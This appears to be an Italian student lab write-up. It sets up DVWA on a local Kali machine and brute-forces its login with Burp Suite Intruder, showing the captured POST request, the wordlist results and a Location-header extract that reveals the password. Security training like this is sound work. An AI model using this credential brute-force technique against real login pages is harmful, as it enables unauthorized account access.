

## Setup apache2

```
[root@kali]~[~/home/alessio]
└# service apache2 start

[root@kali]~[~/home/alessio]
└# cd /etc/php/8.1/apache2

[root@kali]~[~/etc/php/8.1/apache2]
└# ls
conf.d  php.ini

[root@kali]~[~/etc/php/8.1/apache2]
└# gedit php.ini

[root@kali]~[~/etc/php/8.1/apache2]
└# service apache2 start
```

## Configurazione mysql

```
[root@kali]~[~/home/alessio]
└# mysql -u root -p
Enter password:
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MariaDB connection id is 33
Server version: 10.6.11-MariaDB-2 Debian n/a

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [(none)]> create user 'kali'@'127.0.0.1' identified by 'kali'
    → create user 'kali'@'127.0.0.1' identified by 'kali'
    → create user 'kali'@'127.0.0.1' identified by 'kali'
    → create user 'kali'@'127.0.0.1' identified by 'kali' /g
    → create user 'kali'@'127.0.0.1' identified by 'kali' \g
ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server
version for the right syntax to use near 'create user 'kali'@'127.0.0.1' identified by 'kali'
create user 'kali'@'127.0... ' at line 2
MariaDB [(none)]> create user 'kali'@'127.0.0.1' identified by 'kali' \g
Query OK, 0 rows affected (0.005 sec)

MariaDB [(none)]> grant all privileges on dvwa.* to 'kali'@'127.0.0.1' identified by 'kali';
Query OK, 0 rows affected (0.003 sec)

MariaDB [(none)]> exit
Bye
```

## DVWA

The screenshot shows the DVWA (Damn Vulnerable Web Application) homepage. The URL in the browser is 127.0.0.1/DVWA. The page features a navigation menu on the left with links like Home, Instructions, Setup / Reset DB, Brute Force, Command Injection, CSRF, File Inclusion, File Upload, Insecure CAPTCHA, and SQL Injection. The main content area has a large DVWA logo at the top. Below it, a heading says "Welcome to Damn Vulnerable Web Application!". A paragraph explains the purpose of DVWA: "Damn Vulnerable Web Application (DVWA) is a PHP/MySQL web application that is damn vulnerable. Its main goal is to be an aid for security professionals to test their skills and tools in a legal environment, help web developers better understand the processes of securing web applications and to aid both students & teachers to learn about web application security in a controlled class room environment." Another paragraph states, "The aim of DVWA is to practice some of the most common web vulnerabilities, with various levels of difficulty, with a simple straightforward interface." At the bottom, there is a note: "It is up to the user how they approach DVWA. Either by working through every module at a fixed level, or selecting any module and working up to reach the highest level they can before moving onto the next one. There is not a fixed object to complete a module; however users should feel that they have successfully exploited the system as best as they possible could by using that particular vulnerability." A final note at the very bottom says, "Please note, there are both documented and undocumented vulnerability with this software. This is".

## Prova di intruder

The screenshot shows the Burp Suite interface with the 'Intruder' tab selected. There are two attack lanes visible. Lane 1 contains a single request. Lane 2 contains a modified request where the 'password' parameter has been replaced with the value '\$pippi5'. The 'Payloads' tab is selected, and the 'Sniper' attack type is chosen.

```
1 POST /DWA/login.php HTTP/1.1
2 Host: 127.0.0.1
3 Content-Length: 85
4 Cache-Control: max-age=0
5 sec-ch-ua: "Not?A_Brand";v="8", "Chromium";v="108"
6 sec-ch-ua-mobile: ?0
7 sec-ch-ua-platform: "Linux"
8 Upgrade-Insecure-Requests: 1
9 Origin: http://127.0.0.1
10 Content-Type: application/x-www-form-urlencoded
11 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36
12 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
13 Sec-Fetch-Site: same-origin
14 Sec-Fetch-Mode: navigate
15 Sec-Fetch-User: ?1
16 Sec-Fetch-Dest: document
17 Referer: http://127.0.0.1/DWA/login.php
18 Accept-Encoding: gzip, deflate
19 Accept-Language: en-US,en;q=0.9
20 Cookie: PHPSESSID=18gj07pp8ntmsp67aesqqd1ls; security=low
21 Connection: close
22
23 username=admin&password=$pippi5&Login=Login&user_token=a9e04a930971963b7f7dcb17e97bae75
```

2. Intruder attack of http://127.0.0.1 - Temporary attack - Not saved to project file

Attack Save Columns

Results Positions Payloads Resource Pool Options

Filter: Showing all items

Req...	Payload	Status	Error	Timeout	Length	Comment
0		302			300	
1	admin	302			300	
2	ciao	302			300	
3	administrator	302			300	
4	kali	302			300	
5	kaliuser	302			300	
6	root	302			300	
7	cane	302			300	
8	password	302			300	

Request Response

Pretty Raw Hex Render

```
1 HTTP/1.1 302 Found
2 Date: Wed, 08 Feb 2023 14:37:47 GMT
3 Server: Apache/2.4.55 (Debian)
4 Expires: Thu, 19 Nov 1981 08:52:00 GMT
5 Cache-Control: no-store, no-cache, must-revalidate
6 Pragma: no-cache
7 Location: login.php
8 Content-Length: 0
```

② ⚙️ ← → Search...  
Finished

2. Intruder attack of http://127.0.0.1 - Temporary attack - Not saved to project

Attack Save Columns

Results Positions Payloads Resource Pool Options

Filter: Showing all items

Req...	Payload	Status	Error	Timeout	Length	Comment
0		302			300	
1	admin	302			300	
2	ciao	302			300	
3	administrator	302			300	
4	kali	302			300	
5	kaliuser	302			300	
6	root	302			300	
7	cane	302			300	
8	password	302			300	

Request Response

Pretty Raw Hex Render

```
1 HTTP/1.1 302 Found
2 Date: Wed, 08 Feb 2023 14:37:49 GMT
3 Server: Apache/2.4.55 (Debian)
4 Expires: Thu, 19 Nov 1981 08:52:00 GMT
5 Cache-Control: no-store, no-cache, must-revalidate
6 Pragma: no-cache
7 Location: index.php
8 Content-Length: 0
```

② ⚙️ ← → Search...  
Finished

Password trovata

② **Grep - Extract**

④ These settings can be used to extract useful information from responses into the attack results table.

Extract the following items from responses:

Add      From [Location:] to [\n]

Edit

Remove

Duplicate

Up

Down

Clear

Maximum capture length:

Risultato con extract

Request ^	Payload	Status	Error	Timeout	Length	Location:
0		302	<input type="checkbox"/>	<input type="checkbox"/>	300	login.php
1	admin	302	<input type="checkbox"/>	<input type="checkbox"/>	300	login.php
2	ciao	302	<input type="checkbox"/>	<input type="checkbox"/>	300	login.php
3	administrator	302	<input type="checkbox"/>	<input type="checkbox"/>	300	login.php
4	kali	302	<input type="checkbox"/>	<input type="checkbox"/>	300	login.php
5	kaliuser	302	<input type="checkbox"/>	<input type="checkbox"/>	300	login.php
6	root	302	<input type="checkbox"/>	<input type="checkbox"/>	300	login.php
7	cane	302	<input type="checkbox"/>	<input type="checkbox"/>	300	login.php
8	password	302	<input checked="" type="checkbox"/>	<input type="checkbox"/>	300	index.php

Possiamo capire più facilmente qual'è la password corretta